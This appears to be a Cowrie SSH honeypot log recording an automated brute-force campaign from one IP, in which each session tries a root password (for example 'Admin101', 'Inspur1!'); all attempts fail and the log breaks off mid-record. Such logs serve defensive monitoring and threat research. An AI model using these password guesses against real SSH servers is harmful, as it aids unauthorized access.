{"eventid":"cowrie.login.failed","username":"root","password":"45674567","message":"login attempt [root/45674567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:19.896379Z","src_ip":"60.165.124.241","session":"dc7870d61f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:21.154634Z","src_ip":"60.165.124.241","session":"dc7870d61f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59696,"dst_ip":"10.17.0.5","dst_port":22,"session":"e165a441fe6c","protocol":"ssh","message":"New connection: 60.165.124.241:59696 (10.17.0.5:22) [session: e165a441fe6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:21.397804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:21.403145Z","src_ip":"60.165.124.241","session":"e165a441fe6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:21.654856Z","src_ip":"60.165.124.241","session":"e165a441fe6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz147258","message":"login attempt [root/qaz147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:22.410768Z","src_ip":"60.165.124.241","session":"e165a441fe6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:23.664670Z","src_ip":"60.165.124.241","session":"e165a441fe6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34876,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b705d722e09","protocol":"ssh","message":"New connection: 60.165.124.241:34876 (10.17.0.5:22) [session: 9b705d722e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:23.918393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:23.927730Z","src_ip":"60.165.124.241","session":"9b705d722e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:24.173876Z","src_ip":"60.165.124.241","session":"9b705d722e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin101","message":"login attempt [root/Admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:24.927724Z","src_ip":"60.165.124.241","session":"9b705d722e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:26.170996Z","src_ip":"60.165.124.241","session":"9b705d722e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"126b6d0c6a9b","protocol":"ssh","message":"New connection: 60.165.124.241:38292 (10.17.0.5:22) [session: 126b6d0c6a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:26.436698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:26.441894Z","src_ip":"60.165.124.241","session":"126b6d0c6a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:26.696432Z","src_ip":"60.165.124.241","session":"126b6d0c6a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Inspur1!","message":"login attempt [root/Inspur1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:27.466289Z","src_ip":"60.165.124.241","session":"126b6d0c6a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:28.723832Z","src_ip":"60.165.124.241","session":"126b6d0c6a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41326,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d8d6bf7439","protocol":"ssh","message":"New connection: 60.165.124.241:41326 (10.17.0.5:22) [session: f3d8d6bf7439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:28.941674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:28.951269Z","src_ip":"60.165.124.241","session":"f3d8d6bf7439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:29.193600Z","src_ip":"60.165.124.241","session":"f3d8d6bf7439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Ab!","message":"login attempt [root/123456Ab!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:29.913605Z","src_ip":"60.165.124.241","session":"f3d8d6bf7439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:31.155104Z","src_ip":"60.165.124.241","session":"f3d8d6bf7439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44402,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8d8612fbec","protocol":"ssh","message":"New connection: 60.165.124.241:44402 (10.17.0.5:22) [session: 4d8d8612fbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:31.390235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:31.395107Z","src_ip":"60.165.124.241","session":"4d8d8612fbec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:31.642682Z","src_ip":"60.165.124.241","session":"4d8d8612fbec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zy123456","message":"login attempt [root/Zy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:32.368905Z","src_ip":"60.165.124.241","session":"4d8d8612fbec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:33.612689Z","src_ip":"60.165.124.241","session":"4d8d8612fbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47364,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ad6dc04b85","protocol":"ssh","message":"New connection: 60.165.124.241:47364 (10.17.0.5:22) [session: b2ad6dc04b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:33.846637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:33.851787Z","src_ip":"60.165.124.241","session":"b2ad6dc04b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:34.095745Z","src_ip":"60.165.124.241","session":"b2ad6dc04b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASDF","message":"login attempt [root/123qweASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:34.830144Z","src_ip":"60.165.124.241","session":"b2ad6dc04b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:36.071941Z","src_ip":"60.165.124.241","session":"b2ad6dc04b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50650,"dst_ip":"10.17.0.5","dst_port":22,"session":"72865fbb3727","protocol":"ssh","message":"New connection: 60.165.124.241:50650 (10.17.0.5:22) [session: 72865fbb3727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:36.303535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:36.308403Z","src_ip":"60.165.124.241","session":"72865fbb3727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:36.548698Z","src_ip":"60.165.124.241","session":"72865fbb3727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:37.269517Z","src_ip":"60.165.124.241","session":"72865fbb3727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:38.510171Z","src_ip":"60.165.124.241","session":"72865fbb3727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54082,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c40514676f6","protocol":"ssh","message":"New connection: 60.165.124.241:54082 (10.17.0.5:22) [session: 3c40514676f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:38.762233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:38.767315Z","src_ip":"60.165.124.241","session":"3c40514676f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:39.019409Z","src_ip":"60.165.124.241","session":"3c40514676f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest12","message":"login attempt [root/testtest12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:39.773910Z","src_ip":"60.165.124.241","session":"3c40514676f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:41.023155Z","src_ip":"60.165.124.241","session":"3c40514676f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57172,"dst_ip":"10.17.0.5","dst_port":22,"session":"04afa598d482","protocol":"ssh","message":"New connection: 60.165.124.241:57172 (10.17.0.5:22) [session: 04afa598d482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:41.248250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:41.255656Z","src_ip":"60.165.124.241","session":"04afa598d482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-